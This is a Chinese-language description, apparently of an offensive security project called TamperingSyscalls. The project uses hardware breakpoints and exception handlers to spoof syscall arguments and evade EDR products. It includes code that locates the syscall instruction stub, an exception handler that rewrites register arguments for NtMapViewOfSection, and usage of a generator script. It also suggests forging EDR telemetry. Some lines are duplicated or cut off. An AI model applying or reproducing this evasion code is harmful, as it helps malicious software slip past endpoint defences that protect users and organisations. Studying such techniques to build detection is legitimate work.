TamperingSyscalls 是一个包含两部分的新颖项目,由参数欺骗(argument spoofing)和系统调用检索(syscall retrieval)组成,两者都滥用 EH 以规避 EDR。该项目融合了这两个技术,为直接系统调用提供了一种替代方案。
篡改系统调用。
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 的系统调用指令地址处设置一个硬件断点。
我们可以通过这个快速的内存字节搜索来定位系统调用桩的地址。BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx,因为 RCX 寄存器会在后续指令中被破坏。case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
在这个示例中,我们可以看到我们正在为 NtMapViewOfSection 修复参数。
如果你想开始伪造 EDR 遥测,可以修改 p[FunctionName] 定义,目前它们被设置为 NULL。
要生成所需函数,请使用 gen.py。它支持以下方式:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
它将生成 3 个文件:TamperingSyscalls.cpp、TamperingSyscalls.h 和 main.cpp。你可以在项目中 #include "TamperingSyscalls.h"。我们可以通过在 p 后面附加函数名来调用这些函数,例如 pNtOpenSection(...);
我们不能在 NtSetThreadContext 或其变体上设置断点,因为它用于设置调试寄存器。 在设置调试寄存器时有一个短暂的窗口,但这段窗口非常小,我认为我们不会因保持 Dr0 打开而被检测到。
我已发布了一篇简短的博客文章,涉及这些技术。